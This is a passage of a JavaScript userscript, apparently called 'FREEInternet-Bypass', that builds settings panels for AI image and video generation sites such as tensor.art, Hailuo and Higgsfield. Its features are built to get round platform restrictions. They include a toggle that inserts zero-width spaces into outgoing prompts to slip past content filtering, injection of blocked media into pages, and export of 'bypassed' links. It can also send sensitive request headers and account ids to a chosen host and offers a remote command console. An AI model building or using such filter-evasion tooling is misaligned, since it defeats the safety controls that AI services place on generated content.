card.appendChild(makeExternalToggleRow('hailuoCaptureMediaLinks', 'Capture media links', 'Store discovered Hailuo image/video URLs in the Items tab cache.'));
card.appendChild(makeExternalToggleRow('hailuoAutoRefreshItems', 'Auto-refresh Items/Logs tabs', 'Refresh floating panel automatically when new Hailuo URLs/logs are captured.'));
card.appendChild(makeExternalToggleRow('hailuoEnableUiLogs', 'Enable runtime logs', 'Show capture/runtime logs in the Hailuo Background tab.'));
card.appendChild(makeExternalMaxLogsRow('hailuoMaxLogs', 'Max Hailuo log entries', 500));
});
}
otherPlatformsSection.content.appendChild(makeExternalMasterToggleRow('showHiggsfieldUi', 'Enable Higgsfield', 'Show the bypass button and floating window on higgsfield.ai when the top script flag allows external UI.'));
if (settings.showHiggsfieldUi) {
appendExternalSettingsCard('Higgsfield Controls', 'fa-clapperboard', '#60a5fa', (card) => {
card.appendChild(makeExternalToggleRow('higgsfieldEnablePromptObfuscation', 'Obfuscate outgoing job prompts', 'Insert zero-width spaces into outgoing Higgsfield job prompts for POST /jobs/ requests.'));
card.appendChild(makeExternalToggleRow('higgsfieldCaptureJobs', 'Capture jobs/projects', 'Store observed project/job responses in IndexedDB and show them in the Items tab.'));
card.appendChild(makeExternalToggleRow('higgsfieldCaptureSouls', 'Capture souls/custom references', 'Store observed custom-reference responses in IndexedDB and show them in the Items tab.'));
card.appendChild(makeExternalToggleRow('higgsfieldAutoRefreshItems', 'Auto-refresh Items/Logs tabs', 'Refresh the floating window automatically when new jobs, souls, or logs are captured.'));
card.appendChild(makeExternalToggleRow('higgsfieldEnableUiLogs', 'Enable runtime logs', 'Show runtime logs in the Higgsfield Background tab.'));
card.appendChild(makeExternalMaxLogsRow('higgsfieldMaxLogs', 'Max Higgsfield log entries', 500));
});
}
form.appendChild(otherPlatformsSection.section);
const taskSection = createCollapsibleSection('Task Actions', 'fa-tasks', true);
const taskOptions = [];
if (settings.telegramEnabled) {
taskOptions.push({ id: 'sendAllTasksTelegram', label: 'Telegram: Send all tasks', value: settings.sendAllTasksTelegram, tooltip: 'Show the global “Send all tasks to Telegram” button on the page' });
}
if (settings.discordEnabled) {
taskOptions.push({ id: 'sendAllTasksDiscord', label: 'Discord: Send all tasks', value: settings.sendAllTasksDiscord, tooltip: 'Show the global “Send all tasks to Discord” button on the page' });
}
taskOptions.push({ id: 'sendAllTasksDownload', label: 'Download all tasks', value: settings.sendAllTasksDownload, tooltip: 'Show the global “Download all tasks” button on the page' });
taskOptions.push({ id: 'preventDuplicateTasks', label: 'Prevent duplicate actions', value: settings.preventDuplicateTasks, tooltip: 'Skip items already sent/downloaded when using global actions' });
taskOptions.push({ id: 'enableCopyBypassedLinks', label: 'Enable copy bypassed links', value: settings.enableCopyBypassedLinks, tooltip: 'Allow exporting all discovered bypassed links as text/json/xml/html' });
taskOptions.push({ id: 'enableTaskProfilesCreation', label: 'Enable Profile Tasks', value: settings.enableTaskProfilesCreation, tooltip: 'Show Task Profiles tools on pages and the Profiles tab in the floating window' });
if (settings.enableCopyBypassedLinks) {
taskOptions.push({ id: 'copyInjectOnPage', label: 'Inject copy button on page', value: settings.copyInjectOnPage, tooltip: 'Show copy icon menu in creation/template global action bars' });
}
taskOptions.forEach(option => {
const { row, input } = createSettingsToggleRow({
labelText: option.label,
tooltip: option.tooltip,
checked: option.value,
fontSize: '13px',
textColor: colors.text
});
input.onchange = () => {
settings[option.id] = input.checked;
saveSettings();
updateUI();
injectBlockedMediaIntoDom();
};
taskSection.content.appendChild(row);
});
form.appendChild(taskSection.section);
// ============================================================================
// SHARED/CROSEE NETWORK SAVE SETTINGS
// ============================================================================
const sharedNetSection = createCollapsibleSection('Save Crosee network', 'fa-network-wired', false);
const sharedNetNote = document.createElement('div');
sharedNetNote.style.cssText = `
background: rgba(99, 102, 241, 0.08);
border: 1px solid rgba(99, 102, 241, 0.25);
border-radius: 10px;
padding: 10px;
font-size: 12px;
line-height: 1.45;
color: ${colors.textSecondary};
margin-bottom: 10px;
`;
sharedNetNote.innerHTML = '<strong style="color:' + colors.primary + '"><i class="fas fa-share-nodes"></i> Shared export</strong><br>Send cached tasks/items to a trusted host on your network via HTTP or WebSocket.';
sharedNetSection.content.appendChild(sharedNetNote);
const sharedNetHeaderRow = document.createElement('div');
sharedNetHeaderRow.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:10px; flex-wrap:wrap;';
const sharedNetToggle = document.createElement('label');
sharedNetToggle.style.cssText = 'display:flex; align-items:center; gap:8px; cursor:pointer; font-size:13px; font-weight:600;';
const sharedNetEnabledInput = document.createElement('input');
sharedNetEnabledInput.type = 'checkbox';
sharedNetEnabledInput.className = 'bypass-checkbox';
sharedNetEnabledInput.checked = !!settings.sharedNetworkEnabled;
sharedNetEnabledInput.onchange = () => {
settings.sharedNetworkEnabled = sharedNetEnabledInput.checked;
saveSettings();
updateUI();
};
sharedNetToggle.appendChild(sharedNetEnabledInput);
sharedNetToggle.appendChild(document.createTextNode('Enable Shared Network Save'));
const sharedNetMoreBtn = document.createElement('button');
sharedNetMoreBtn.className = 'bypass-btn bypass-btn-secondary';
sharedNetMoreBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
sharedNetMoreBtn.innerHTML = '<i class="fas fa-circle-info"></i> More info';
sharedNetMoreBtn.onclick = () => showSharedNetworkInfoDialog();
const sharedNetDocsBtn = document.createElement('button');
sharedNetDocsBtn.className = 'bypass-btn bypass-btn-secondary';
sharedNetDocsBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
sharedNetDocsBtn.innerHTML = '<i class="fas fa-book"></i> Docs';
sharedNetDocsBtn.onclick = () => showSharedNetworkDocsDialog();
sharedNetHeaderRow.appendChild(sharedNetToggle);
const sharedNetInfoBtns = document.createElement('div');
sharedNetInfoBtns.style.cssText = 'display:flex; align-items:center; gap:8px; flex-wrap:wrap; justify-content:flex-end;';
sharedNetInfoBtns.appendChild(sharedNetDocsBtn);
sharedNetInfoBtns.appendChild(sharedNetMoreBtn);
sharedNetHeaderRow.appendChild(sharedNetInfoBtns);
sharedNetSection.content.appendChild(sharedNetHeaderRow);
const mkRow = (labelText, inputEl) => {
const row = document.createElement('div');
row.style.cssText = 'display:grid; gap:6px; margin-top:10px;';
const lbl = document.createElement('div');
lbl.style.cssText = `font-size:12px; font-weight:700; color:${colors.text};`;
lbl.textContent = labelText;
row.appendChild(lbl);
row.appendChild(inputEl);
return row;
};
const hostInput = document.createElement('input');
hostInput.type = 'text';
hostInput.placeholder = 'http://127.0.0.1:8787';
hostInput.value = settings.sharedNetworkHost || '';
hostInput.style.cssText = `padding:10px 10px; border-radius:10px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.text}; font-size:12px; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;`;
hostInput.onchange = () => {
settings.sharedNetworkHost = hostInput.value.trim();
saveSettings();
updateUI();
};
const hostRow = mkRow('Host / Address', hostInput);
const base = sharedNetNormalizeHttpBaseUrl(settings.sharedNetworkHost);
const isLocal = base ? sharedNetIsLocalhostUrl(base) : false;
if (settings.sharedNetworkHost && !isLocal) {
const warn = document.createElement('div');
warn.style.cssText = 'font-size:11px; color:#fecaca; padding:8px; border-radius:10px; border:1px solid rgba(239,68,68,0.35); background: rgba(239,68,68,0.12); line-height:1.4;';
warn.innerHTML = '<strong><i class="fas fa-triangle-exclamation"></i> Warning:</strong> Non-localhost host. Do not send exports to sites/servers you do not fully control.';
hostRow.appendChild(warn);
}
sharedNetSection.content.appendChild(hostRow);
const methodSelect = document.createElement('select');
methodSelect.className = 'bypass-select';
methodSelect.style.cssText = `padding:10px 10px; border-radius:10px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.text}; font-size:12px;`;
['http', 'ws'].forEach(m => {
const opt = document.createElement('option');
opt.value = m;
opt.textContent = m.toUpperCase();
if ((settings.sharedNetworkMethod || 'http') === m) opt.selected = true;
methodSelect.appendChild(opt);
});
methodSelect.onchange = () => {
settings.sharedNetworkMethod = methodSelect.value;
saveSettings();
updateUI();
};
sharedNetSection.content.appendChild(mkRow('Request method', methodSelect));
const payloadSelect = document.createElement('select');
payloadSelect.className = 'bypass-select';
payloadSelect.style.cssText = `padding:10px 10px; border-radius:10px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.text}; font-size:12px;`;
[{ v: 'file', t: 'File (multipart) — recommended' }, { v: 'text', t: 'Text (JSON body)' }].forEach(({ v, t }) => {
const opt = document.createElement('option');
opt.value = v;
opt.textContent = t;
if ((settings.sharedNetworkPayloadMode || 'file') === v) opt.selected = true;
payloadSelect.appendChild(opt);
});
payloadSelect.onchange = () => {
settings.sharedNetworkPayloadMode = payloadSelect.value;
saveSettings();
};
sharedNetSection.content.appendChild(mkRow('Payload mode', payloadSelect));
const wsUrlInput = document.createElement('input');
wsUrlInput.type = 'text';
wsUrlInput.placeholder = 'ws://127.0.0.1:8787/shared-network/ws';
wsUrlInput.value = settings.sharedNetworkWsUrl || '';
wsUrlInput.style.cssText = `padding:10px 10px; border-radius:10px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.text}; font-size:12px; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;`;
wsUrlInput.onchange = () => {
settings.sharedNetworkWsUrl = wsUrlInput.value.trim();
saveSettings();
};
sharedNetSection.content.appendChild(mkRow('WebSocket URL (when method = WS)', wsUrlInput));
const endpointGrid = document.createElement('div');
endpointGrid.style.cssText = 'display:grid; gap:8px; margin-top:10px;';
const endpointTitle = document.createElement('div');
endpointTitle.style.cssText = `font-size:12px; font-weight:800; color:${colors.text};`;
endpointTitle.innerHTML = '<i class="fas fa-route"></i> HTTP endpoints (paths)';
endpointGrid.appendChild(endpointTitle);
const mkPathInput = (value, onChange, placeholder) => {
const i = document.createElement('input');
i.type = 'text';
i.value = value || '';
i.placeholder = placeholder;
i.style.cssText = `padding:10px 10px; border-radius:10px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.text}; font-size:12px; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;`;
i.onchange = () => { onChange(i.value.trim()); saveSettings(); };
return i;
};
endpointGrid.appendChild(mkRow('Upload path', mkPathInput(settings.sharedNetworkHttpUploadPath, (v) => settings.sharedNetworkHttpUploadPath = v, '/shared-network/save')));
endpointGrid.appendChild(mkRow('Health path', mkPathInput(settings.sharedNetworkHttpHealthPath, (v) => settings.sharedNetworkHttpHealthPath = v, '/shared-network/health')));
endpointGrid.appendChild(mkRow('Command path', mkPathInput(settings.sharedNetworkHttpCommandPath, (v) => settings.sharedNetworkHttpCommandPath = v, '/shared-network/command')));
sharedNetSection.content.appendChild(endpointGrid);
const optsTitle = document.createElement('div');
optsTitle.style.cssText = `margin-top:10px; font-size:12px; font-weight:800; color:${colors.text};`;
optsTitle.innerHTML = '<i class="fas fa-sliders"></i> Options';
sharedNetSection.content.appendChild(optsTitle);
const mkOpt = (id, labelText, tooltipText) => {
const row = document.createElement('label');
row.style.cssText = 'display:flex; align-items:center; gap:8px; cursor:pointer; font-size:12px; color:' + colors.text + ';';
const input = document.createElement('input');
input.type = 'checkbox';
input.className = 'bypass-checkbox';
input.checked = !!settings[id];
input.onchange = () => {
settings[id] = input.checked;
saveSettings();
updateUI();
};
row.appendChild(input);
row.appendChild(document.createTextNode(labelText));
if (tooltipText) {
const info = document.createElement('span');
info.className = 'bypass-tooltip-icon';
info.innerHTML = '<i class="fas fa-info-circle"></i>';
info.title = tooltipText;
attachInfoTooltip(info, tooltipText);
row.appendChild(info);
}
return row;
};
sharedNetSection.content.appendChild(mkOpt('sharedNetworkIncludeUserId', 'Include user id / nickname', 'Include basic account identity fields in the export envelope.'));
sharedNetSection.content.appendChild(mkOpt('sharedNetworkIncludePageContext', 'Include page context (URL/title)', 'Adds current page URL, origin, host, and title.'));
sharedNetSection.content.appendChild(mkOpt('sharedNetworkIncludeTensorHeaders', 'Include Tensor headers', 'Includes your configured Tensor request headers inside the export payload (sensitive).'));
sharedNetSection.content.appendChild(mkOpt('sharedNetworkRemoteControlEnabled', 'Enable remote control console', 'Allows sending a text command to your host (dangerous if host is not trusted).'));
if (settings.sharedNetworkRemoteControlEnabled) {
const rcHelp = document.createElement('div');
rcHelp.style.cssText = 'margin-top:6px; font-size:11px; color:' + colors.textSecondary + '; line-height:1.4; padding:8px; border-radius:10px; background: rgba(51,65,85,0.25);';
rcHelp.innerHTML = '<i class="fas fa-terminal"></i> Remote console will appear in the Shared Network tab. Use it only with servers you control. Some hosts may interpret commands like <strong>I‑TB</strong> messages.';
sharedNetSection.content.appendChild(rcHelp);
}
form.appendChild(sharedNetSection.section);
const automationSection = createCollapsibleSection('Automation', 'fa-robot', true);
const autoCheckLabel = document.createElement('label');
autoCheckLabel.style.cssText = 'display: flex; align-items: center; gap: 8px; cursor: pointer; font-size: 13px;';
const autoCheckInput = document.createElement('input');
autoCheckInput.className = 'bypass-checkbox';
autoCheckInput.type = 'checkbox';
autoCheckInput.checked = settings.autoCheck;
autoCheckInput.onchange = () => {
settings.autoCheck = autoCheckInput.checked;
localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
if (settings.autoCheck) {
startAutoCheck();
} else {
stopAutoCheck();
}
updateUI();
};
autoCheckLabel.appendChild(autoCheckInput);
autoCheckLabel.appendChild(document.createTextNode('Auto-check for Items'));
automationSection.content.appendChild(autoCheckLabel);
if (settings.autoCheck) {
const intervalGroup = document.createElement('div');
intervalGroup.className = 'bypass-form-group';
const intervalLabel = document.createElement('label');
intervalLabel.className = 'bypass-label';
intervalLabel.setAttribute('for', 'checkInterval');
intervalLabel.innerHTML = '<i class="fas fa-clock"></i> Check Interval (seconds)';
const intervalInput = document.createElement('input');
intervalInput.className = 'bypass-input';
intervalInput.type = 'number';
intervalInput.id = 'checkInterval';
intervalInput.name = 'checkInterval';
intervalInput.min = '5';
intervalInput.max = '300';
intervalInput.step = '5';
intervalInput.value = settings.autoCheckInterval;
intervalInput.onclick = (e) => e.stopPropagation();
intervalInput.onchange = () => {
settings.autoCheckInterval = Math.max(5, parseInt(intervalInput.value) || 30);
localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
startAutoCheck();
};
intervalGroup.appendChild(intervalLabel);
intervalGroup.appendChild(intervalInput);
automationSection.content.appendChild(intervalGroup);
}
form.appendChild(automationSection.section);
const appearanceSection = createCollapsibleSection('Appearance', 'fa-palette', true);
const themeGroup = document.createElement('div');
themeGroup.className = 'bypass-form-group';
const themeLabel = document.createElement('label');
themeLabel.className = 'bypass-label';
themeLabel.setAttribute('for', 'themeSelect');
themeLabel.innerHTML = '<i class="fas fa-palette"></i> Theme';
const themeSelect = document.createElement('select');
themeSelect.className = 'bypass-select';
themeSelect.id = 'themeSelect';
themeSelect.name = 'theme';
themeSelect.onclick = (e) => e.stopPropagation();
['dark', 'light'].forEach(th => {
const opt = document.createElement('option');
opt.value = th;
opt.textContent = th.charAt(0).toUpperCase() + th.slice(1);
if (th === settings.theme) opt.selected = true;
themeSelect.appendChild(opt);
});
themeSelect.onchange = () => {
settings.theme = themeSelect.value;
saveSettings();
updateUI();
};
themeGroup.appendChild(themeLabel);
themeGroup.appendChild(themeSelect);
appearanceSection.content.appendChild(themeGroup);
form.appendChild(appearanceSection.section);
const cacheSection = createCollapsibleSection('Cache Management', 'fa-database', true);
const cachingLabel = document.createElement('label');
cachingLabel.style.cssText = 'display: flex; align-items: center; gap: 8px; cursor: pointer; font-size: 13px;';
const cachingInput = document.createElement('input');
cachingInput.className = 'bypass-checkbox';
cachingInput.type = 'checkbox';
cachingInput.checked = settings.cachingEnabled;
cachingInput.onchange = () => {
const newValue = cachingInput.checked;
if (!newValue) {
const confirmed = confirm('⚠️ Warning: Disabling cache can cause performance issues and increase API requests.\n\nAre you sure you want to disable caching?');
if (!confirmed) {
cachingInput.checked = true;
return;
}
}
settings.cachingEnabled = newValue;
saveSettings();
updateUI();
};
cachingLabel.appendChild(cachingInput);
cachingLabel.appendChild(document.createTextNode('Enable URL Caching'));
cacheSection.content.appendChild(cachingLabel);
if (settings.cachingEnabled) {
const cacheDurationGroup = document.createElement('div');
cacheDurationGroup.className = 'bypass-form-group';
const cacheDurationLabel = document.createElement('label');
cacheDurationLabel.className = 'bypass-label';
cacheDurationLabel.setAttribute('for', 'cacheDuration');
cacheDurationLabel.innerHTML = '<i class="fas fa-hourglass"></i> Cache Duration (Days)';
const cacheDurationInput = document.createElement('input');
cacheDurationInput.className = 'bypass-input';
cacheDurationInput.type = 'number';
cacheDurationInput.id = 'cacheDuration';
cacheDurationInput.name = 'cacheDuration';
cacheDurationInput.min = '1';
cacheDurationInput.max = '30';
cacheDurationInput.value = settings.cacheDuration;
cacheDurationInput.onclick = (e) => e.stopPropagation();
cacheDurationInput.onchange = () => {
settings.cacheDuration = Math.max(1, parseInt(cacheDurationInput.value) || 7);
localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
};
cacheDurationGroup.appendChild(cacheDurationLabel);
cacheDurationGroup.appendChild(cacheDurationInput);
cacheSection.content.appendChild(cacheDurationGroup);
}
form.appendChild(cacheSection.section);
// ============================================================================
// TENSORHUB LINKER SETTINGS IN FLOATING WINDOW
// ============================================================================
const tensorhubSection = createCollapsibleSection('TensorHub Integration', 'fa-link', false);
const tensorhubEnabled = document.createElement('label');
tensorhubEnabled.style.cssText = 'display: flex; align-items: center; gap: 8px; cursor: pointer; font-size: 13px;';
const tensorhubEnabledInput = document.createElement('input');
tensorhubEnabledInput.className = 'bypass-checkbox';
tensorhubEnabledInput.type = 'checkbox';
tensorhubEnabledInput.checked = settings.tensorhubLinkerEnabled;
tensorhubEnabledInput.onchange = () => {
settings.tensorhubLinkerEnabled = tensorhubEnabledInput.checked;
saveSettings();
updateUI();
};
tensorhubEnabled.appendChild(tensorhubEnabledInput);
tensorhubEnabled.appendChild(document.createTextNode('Enable TensorHub Linker'));
tensorhubSection.content.appendChild(tensorhubEnabled);
// Share Settings checkbox
const shareSettingsLabel = document.createElement('label');
shareSettingsLabel.style.cssText = 'display: flex; align-items: center; gap: 8px; cursor: pointer; font-size: 13px; margin-top: 8px;';
const shareSettingsInput = document.createElement('input');
shareSettingsInput.className = 'bypass-checkbox';
shareSettingsInput.type = 'checkbox';
shareSettingsInput.checked = settings.tensorhubShareSettings || false;
shareSettingsInput.onchange = () => {
settings.tensorhubShareSettings = shareSettingsInput.checked;
saveSettings();
if (settings.tensorhubShareSettings) {
syncSettingsAcrossDomains();
}
};
const shareText = document.createTextNode('Share Settings Across Domains');
const shareInfo = document.createElement('span');
shareInfo.className = 'bypass-tooltip-icon';
shareInfo.innerHTML = '<i class="fas fa-info-circle"></i>';
shareInfo.title = 'Use same settings on both tensor.art and tensorhub.art';
attachInfoTooltip(shareInfo, 'When enabled, settings will sync between tensor.art and tensorhub.art domains automatically.');
shareSettingsLabel.appendChild(shareSettingsInput);
shareSettingsLabel.appendChild(shareText);
shareSettingsLabel.appendChild(shareInfo);
tensorhubSection.content.appendChild(shareSettingsLabel);
const tensorhubHelp = document.createElement('div');
tensorhubHelp.style.cssText = `
font-size: 11px;
color: #94a3b8;
margin-top: 8px;
line-height: 1.4;
padding: 8px;
background: rgba(51, 65, 85, 0.3);
border-radius: 4px;
`;
tensorhubHelp.innerHTML = '<i class="fas fa-link"></i> Sync tasks from tensorhub.art in addition to tensor.art';
tensorhubSection.content.appendChild(tensorhubHelp);
if (settings.tensorhubLinkerEnabled) {
// Link Tokens
const linkTokens = document.createElement('label');
linkTokens.style.cssText = 'display: flex; align-items: center; gap: 8px; cursor: pointer; font-size: 13px; margin-top: 8px;';
const linkTokensInput = document.createElement('input');
linkTokensInput.className = 'bypass-checkbox';
linkTokensInput.type = 'checkbox';
linkTokensInput.checked = settings.tensorhubLinkTokens;
linkTokensInput.onchange = () => {
settings.tensorhubLinkTokens = linkTokensInput.checked;
saveSettings();
};
linkTokens.appendChild(linkTokensInput);
linkTokens.appendChild(document.createTextNode('Link User Tokens'));
tensorhubSection.content.appendChild(linkTokens);
// Link Tasks
const linkTasks = document.createElement('label');
linkTasks.style.cssText = 'display: flex; align-items: center; gap: 8px; cursor: pointer; font-size: 13px; margin-top: 8px;';
const linkTasksInput = document.createElement('input');
linkTasksInput.className = 'bypass-checkbox';
linkTasksInput.type = 'checkbox';
linkTasksInput.checked = settings.tensorhubLinkTasks;
linkTasksInput.onchange = () => {
settings.tensorhubLinkTasks = linkTasksInput.checked;
saveSettings();
};
linkTasks.appendChild(linkTasksInput);
linkTasks.appendChild(document.createTextNode('Link Tasks (Manual)'));
tensorhubSection.content.appendChild(linkTasks);
const taskHelp = document.createElement('div');
taskHelp.style.cssText = `
font-size: 11px;
color: #94a3b8;
margin-top: 6px;
line-height: 1.3;
padding: 6px;
background: rgba(51, 65, 85, 0.2);
border-radius: 4px;
border-left: 2px solid #a78bfa;
`;
taskHelp.innerHTML = '<i class="fas fa-lightbulb"></i> Visit tensorhub.art and reload to save tasks manually. View in Data Control tab.';
tensorhubSection.content.appendChild(taskHelp);
// Run on TensorHub
const runTensorhub = document.createElement('label');
runTensorhub.style.cssText = 'display: flex; align-items: center; gap: 8px; cursor: pointer; font-size: 13px; margin-top: 8px;';
const runTensorhubInput = document.createElement('input');
runTensorhubInput.className = 'bypass-checkbox';
runTensorhubInput.type = 'checkbox';
runTensorhubInput.checked = settings.runOnTensorhub;
runTensorhubInput.onchange = () => {
settings.runOnTensorhub = runTensorhubInput.checked;
saveSettings();
if (settings.runOnTensorhub && window.location.hostname === 'tensorhub.art') {
// Reload on tensorhub to activate features
setTimeout(() => window.location.reload(), 500);
}
};
runTensorhub.appendChild(runTensorhubInput);
runTensorhub.appendChild(document.createTextNode('Run on TensorHub Domain'));
tensorhubSection.content.appendChild(runTensorhub);
const runHelp = document.createElement('div');
runHelp.style.cssText = `
font-size: 11px;
color: #94a3b8;
margin-top: 6px;
line-height: 1.3;
padding: 6px;
background: rgba(51, 65, 85, 0.2);
border-radius: 4px;
border-left: 2px solid #22c55e;
`;
runHelp.innerHTML = '<i class="fas fa-rocket"></i> Enable full floating panel and features on tensorhub.art domain';
tensorhubSection.content.appendChild(runHelp);
}
form.appendChild(tensorhubSection.section);
// ── Community Share AI Tools ────────────────────────────────────────────
if (IS_TENSOR_DOMAIN) {
const communitySection = createCollapsibleSection('Community Share AI Tools', 'fa-people-group', false);
const communityNote = document.createElement('div');
communityNote.style.cssText = `
background: rgba(99,102,241,0.08);
border: 1px solid rgba(99,102,241,0.25);
border-radius: 8px; padding: 10px;
font-size: 12px; line-height: 1.5;
color: ${colors.textSecondary}; margin-bottom: 10px;
`;
communityNote.innerHTML = `<strong style="color:${colors.primary}"><i class="fas fa-people-group"></i> Anonymous community</strong><br>
When enabled you will see a <em>Share with bypassers</em> button on template pages. Click it to anonymously suggest that template to other FreeInternet users.<br>
<strong>No account info, IDs, or session data is ever sent.</strong> Only the template ID and its public name are shared.`;
communitySection.content.appendChild(communityNote);
const { row: communityRow, input: communityInput } = createSettingsToggleRow({
labelText: 'Enable Community Share',
tooltip: 'Show the "Share with bypassers" button on template pages and add the Community tab.',
checked: !!settings.communityShareEnabled,
fontSize: '13px',
textColor: colors.text
});
communityInput.onchange = () => {
settings.communityShareEnabled = communityInput.checked;
saveSettings();
// Remove injected button if disabled
if (!settings.communityShareEnabled) {
const b = document.getElementById('fi-community-share-btn');
if (b) b.remove();
const sec = document.getElementById('fi-community-home-section');
if (sec) sec.remove();
}
updateUI();
};
communitySection.content.appendChild(communityRow);
const { row: homeRow, input: homeInput } = createSettingsToggleRow({
labelText: 'Show community tools on home page',
tooltip: 'Inject a "FreeInternet Community AI Tools" section at the top of the tensor.art home page.',
checked: !!settings.communityShowOnHome,
fontSize: '13px',
textColor: colors.text
});
homeInput.onchange = () => {
settings.communityShowOnHome = homeInput.checked;
saveSettings();
if (!settings.communityShowOnHome) {
const sec = document.getElementById('fi-community-home-section');
if (sec) sec.remove();
}
};
communitySection.content.appendChild(homeRow);
form.appendChild(communitySection.section);
}
}
form.appendChild(searchEmptyState);
const rerunSettingsSearch = () => {
applySettingsSearchFilter(form, searchInput.value, searchEmptyState);
};
searchInput.addEventListener('input', () => {
setSettingsSearchQuery(searchInput.value);
rerunSettingsSearch();
});
rerunSettingsSearch();
content.appendChild(form);
} else if (currentTab === 'community') {
const colors = getThemeColors();
const hdr = document.createElement('div');
hdr.style.cssText = `display:flex; flex-direction:column; gap:4px; padding:12px 14px; border-radius:14px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; margin-bottom:12px;`;
hdr.innerHTML = `
<div style="font-weight:900; font-size:14px; color:${colors.text};">
<i class="fas fa-people-group" style="color:${colors.primary}; margin-right:8px;"></i>Community AI Tools
</div>
<div style="font-size:11px; color:${colors.textSecondary}; line-height:1.5;">
Anonymously shared workflow templates by other FreeInternet users.
Visit a template page and click <strong>Recommend</strong> to share a tool.
</div>
`;
content.appendChild(hdr);
const controls = document.createElement('div');
controls.style.cssText = 'display:flex; gap:8px; margin-bottom:10px; align-items:center;';
const refreshBtn = document.createElement('button');
refreshBtn.className = 'bypass-btn bypass-btn-secondary';
refreshBtn.style.cssText = 'width:auto; padding:7px 12px; font-size:12px;';
refreshBtn.innerHTML = '<i class="fas fa-arrows-rotate"></i> Refresh';
controls.appendChild(refreshBtn);
content.appendChild(controls);
const grid = document.createElement('div');
grid.style.cssText = 'display:flex; flex-direction:column; gap:10px;';
content.appendChild(grid);
const renderCommunityTools = async (forceRefresh = false) => {
grid.innerHTML = `<div style="text-align:center; padding:28px; color:${colors.textSecondary}; font-size:12px;">
<i class="fas fa-spinner fa-spin" style="margin-right:6px;"></i>Loading community tools…</div>`;
try {
const tools = await communityFetchTools(forceRefresh);
grid.innerHTML = '';
if (!tools.length) {
grid.innerHTML = `<div style="text-align:center; padding:32px; color:${colors.textSecondary}; font-size:12px;">
<i class="fas fa-inbox" style="font-size:22px; display:block; margin-bottom:10px; opacity:0.4;"></i>
No community tools yet. Be the first to share one!</div>`;
return;
}
tools.forEach((tool, idx) => _renderCommunityToolCard(grid, tool, idx, false));
} catch (err) {
grid.innerHTML = `<div style="text-align:center; padding:24px; color:#f87171; font-size:12px;">
<i class="fas fa-triangle-exclamation" style="margin-right:6px;"></i>${escapeHtml(String(err?.message || err))}</div>`;
}
};
// Expose for vote buttons
refreshCommunityTab = () => renderCommunityTools(true);
refreshBtn.onclick = () => renderCommunityTools(true);
renderCommunityTools(false);
} else if (currentTab === 'about') {
const aboutSection = document.createElement('div');
aboutSection.style.cssText = 'padding: 16px; color: #f1f5f9;';
const scriptName = remoteConfig?.script?.display_name || 'FREEInternet-Bypass';
const remoteVersion = remoteConfig?.script?.version || 'Unknown';
const tagline = remoteConfig?.script?.tagline || 'Unlock the Web Without Limits';
// Version comparison
const versionCompare = /\d/.test(remoteVersion) ? compareVersions(remoteVersion, SCRIPT_VERSION) : 0;
const versionMatch = versionCompare <= 0;
const versionColor = versionMatch ? '#10b981' : '#f59e0b';
const versionIcon = versionMatch ? '<i class="fas fa-circle-check"></i>' : '<i class="fas fa-triangle-exclamation"></i>';
aboutSection.innerHTML = `
<div style="text-align: center; padding: 24px 0; border-bottom: 1px solid #475569;">
<h2 style="font-size: 24px; margin: 0 0 8px 0; color: #6366f1;">${scriptName}</h2>
<div style="font-size: 14px; color: #cbd5e1; margin-bottom: 12px;">${tagline}</div>
<div style="font-size: 12px; color: #94a3b8; margin-bottom: 8px;">
<strong>Installed:</strong> v${SCRIPT_VERSION}
</div>
<div style="font-size: 12px; color: ${versionColor};">
${versionIcon} <strong>Latest:</strong> v${remoteVersion}
${versionMatch ? '' : ' (Update available)'}
</div>
</div>
`;
if (remoteConfig?.authors?.length > 0) {
const authorsDiv = document.createElement('div');
authorsDiv.style.cssText = 'padding: 20px 0; border-bottom: 1px solid #475569;';
authorsDiv.innerHTML = '<h3 style="font-size: 16px; margin: 0 0 12px 0; color: #6366f1;"><i class="fas fa-users"></i> Authors</h3>';
for (const author of remoteConfig.authors) {
const authorCard = document.createElement('div');
authorCard.style.cssText = 'margin-bottom: 12px; padding: 12px; background: rgba(99, 102, 241, 0.05); border-radius: 8px;';
authorCard.innerHTML = `
<div style="font-weight: 600; font-size: 14px;">${author.name}</div>
<div style="font-size: 12px; color: #cbd5e1; margin-top: 4px;">${author.role || 'Contributor'}</div>
${author.bio ? `<div style="font-size: 12px; color: #94a3b8; margin-top: 6px; font-style: italic;">${author.bio}</div>` : ''}
`;
authorsDiv.appendChild(authorCard);
}
aboutSection.appendChild(authorsDiv);
}
if (remoteConfig?.features?.length > 0) {
const featuresDiv = document.createElement('div');
featuresDiv.style.cssText = 'padding: 20px 0;';
featuresDiv.innerHTML = '<h3 style="font-size: 16px; margin: 0 0 12px 0; color: #6366f1;"><i class="fas fa-rocket"></i> Features</h3>';
for (const feature of remoteConfig.features) {
const featureCard = document.createElement('div');
featureCard.style.cssText = 'margin-bottom: 12px; padding: 12px; background: rgba(99, 102, 241, 0.05); border-radius: 8px;';
const statusIcon = feature.enabled_by_default ? '<i class="fas fa-circle-check"></i>' : '<i class="fas fa-sliders"></i>';
const categoryBadge = feature.category ? `<span style="font-size: 10px; background: rgba(99, 102, 241, 0.3); padding: 2px 6px; border-radius: 4px; margin-left: 8px;">${feature.category}</span>` : '';
featureCard.innerHTML = `
<div style="font-weight: 600; font-size: 13px;">${statusIcon} ${feature.title}${categoryBadge}</div>
<div style="font-size: 12px; color: #cbd5e1; margin-top: 6px;">${feature.description}</div>
